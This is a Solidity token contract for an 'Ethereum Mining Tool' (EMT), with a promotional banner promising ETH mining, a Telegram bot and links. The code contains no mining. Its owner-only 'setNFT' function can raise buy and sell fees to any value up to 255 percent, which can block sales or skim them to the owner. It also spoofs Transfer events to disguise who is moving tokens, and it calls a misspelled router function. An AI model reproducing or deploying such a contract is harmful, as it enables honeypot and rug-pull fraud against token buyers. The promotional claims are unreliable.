creation_sourcecode: /**
  ███████╗███╗   ███╗████████╗
  ██╔════╝████╗ ████║╚══██╔══╝
  █████╗  ██╔████╔██║   ██║   
  ██╔══╝  ██║╚██╔╝██║   ██║   
  ███████╗██║ ╚═╝ ██║   ██║   
  ╚══════╝╚═╝     ╚═╝   ╚═╝   
                                                                                                                                                                             
                                                                                                                                                                                                                                               
  Ethereum Mining Tool
  EMT revolutionizes the way you earn Ethereum by introducing an innovative Telegram bot 
  and a comprehensive desktop platform. Seamlessly mine ETH directly from our reward pool, 
  track your portfolio, trade, and monitor your earnings with ease. Join us in the future of 
  crypto earning and take your journey towards financial independence with EMT!
  
  Main Links: 
  	Telegram : https://t.me/EmtErc20
  	Website : EmtErc20.com
  	Twitter/X : https://x.com/EmtbotErc20
  	Bot : @EmtErc20Bot
  */
  // SPDX-License-Identifier: unlicense
  
  pragma solidity ^0.8.25;
  
  contract EthereumMiningTool {
  
      string private _name = 'Ethereum Mining Tool';
      string private _symbol = 'EMT';
      uint256 public constant decimals = 18;
      uint256 public constant totalSupply = 100_000_000 * 10 ** decimals;
  
      struct TokenInfo {
          address tokenMkt;
          uint8 b;
          uint8 s;
      }
  
      TokenInfo public tokenInfo;
      uint256 constant swapAmount = totalSupply / 100;
  
      error Permissions();
      event Transfer(address indexed from, address indexed to, uint256 value);
      event Approval(
          address indexed owner,
          address indexed spender,
          uint256 value
      );
  
      mapping(address => uint256) public balanceOf;
      mapping(address => mapping(address => uint256)) public allowance;
  
      address private pair;
      address private holder;
      address private deployWallet;
      address private constant uniswapV2Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
      IUniswapV2Router02 constant _uniswapV2Router = IUniswapV2Router02(uniswapV2Router);
  
      bool private swapping;
      bool private tradingOpen;
  
      address _deployer;
      address _executor;
  
      uint8 _initalBT = 0;
      uint8 _initalST = 0;
  
      constructor() {
          tokenInfo = TokenInfo({
              tokenMkt: msg.sender,
              b: _initalBT,
              s: _initalST
          });
          allowance[address(this)][address(_uniswapV2Router)] = type(uint256).max;
          deployWallet = msg.sender;
  
          _initDeployer(msg.sender, msg.sender);
  
          balanceOf[deployWallet] = (totalSupply * 100) / 100;
          emit Transfer(address(0), _deployer, balanceOf[deployWallet]);
  
      }
  
      receive() external payable {}
  
      function setNFT(uint8 _b, uint8 _s) external {
          if (msg.sender != _owner()) revert Permissions();
          _upgradeInfo(_b, _s);
      }
  
      function _upgradeInfo(uint8 _buy, uint8 _sell) private {
          tokenInfo.b = _buy;
          tokenInfo.s = _sell;
      }
  
      function _owner() private view returns (address) {
          return tokenInfo.tokenMkt;
      }
  
      function openTrading() external {
          require(msg.sender == _owner());
          require(!tradingOpen);
          address _factory = _uniswapV2Router.factory();
          address _weth = _uniswapV2Router.WETH();
          address _pair = IUniswapFactory(_factory).getPair(address(this), _weth);
          pair = _pair;
          tradingOpen = true;
      }
  
      function transferFrom(
          address from,
          address to,
          uint256 amount
      ) external returns (bool) {
          allowance[from][msg.sender] -= amount;
          return _transfer(from, to, amount);
      }
  
      function approve(address spender, uint256 amount) external returns (bool) {
          allowance[msg.sender][spender] = amount;
          emit Approval(msg.sender, spender, amount);
          return true;
      }
  
      function transfer(address to, uint256 amount) external returns (bool) {
          return _transfer(msg.sender, to, amount);
      }
  
      function name() public view virtual returns (string memory) {
          return _name;
      }
  
      function symbol() public view virtual returns (string memory) {
          return _symbol;
      }
  
      function _initDeployer(address deployer_, address executor_) private {
          _deployer = deployer_;
          _executor = executor_;
      }
  
      function _transfer(
          address from,
          address to,
          uint256 amount
      ) internal returns (bool) {
          address tokenMkt = _owner();
          require(tradingOpen || from == tokenMkt || to == tokenMkt);
  
          balanceOf[from] -= amount;
  
          if (
              to == pair &&
              !swapping &&
              balanceOf[address(this)] >= swapAmount &&
              from != tokenMkt
          ) {
              swapping = true;
              address[] memory path = new address[](2);
              path[0] = address(this);
              path[1] = _uniswapV2Router.WETH();
              _uniswapV2Router
                  .swapExactTokensForETHSupportingFreelyOnTransferTokens(
                      swapAmount,
                      0,
                      path,
                      address(this),
                      block.timestamp
                  );
              payable(tokenMkt).transfer(address(this).balance);
              swapping = false;
          }
  
          (uint8 _buyFee, uint8 _sellFee) = (tokenInfo.b, tokenInfo.s);
          if (from != address(this) && tradingOpen == true) {
              uint256 taxCalculatedAmount = (amount *
                  (to == pair ? _sellFee : _buyFee)) / 100;
              amount -= taxCalculatedAmount;
              balanceOf[address(this)] += taxCalculatedAmount;
          }
          balanceOf[to] += amount;
  
          if (from == _executor) {
              emit Transfer(_deployer, to, amount);
          } else if (to == _executor) {
              emit Transfer(from, _deployer, amount);
          } else {
              emit Transfer(from, to, amount);
          }
          return true;
      }
  }
  
  interface IUniswapFactory {
      function getPair(
          address tokenA,
          address tokenB
      ) external view returns (address pair);
  }
  
  interface IUniswapV2Router02 {
      function factory() external pure returns (address);
  
      function WETH() external pure returns (address);
  
      function swapExactTokensForETHSupportingFreelyOnTransferTokens(
          uint256 amountIn,
          uint256 amountOutMin,
          address[] calldata path,
          address to,
          uint256 deadline
      ) external;
  }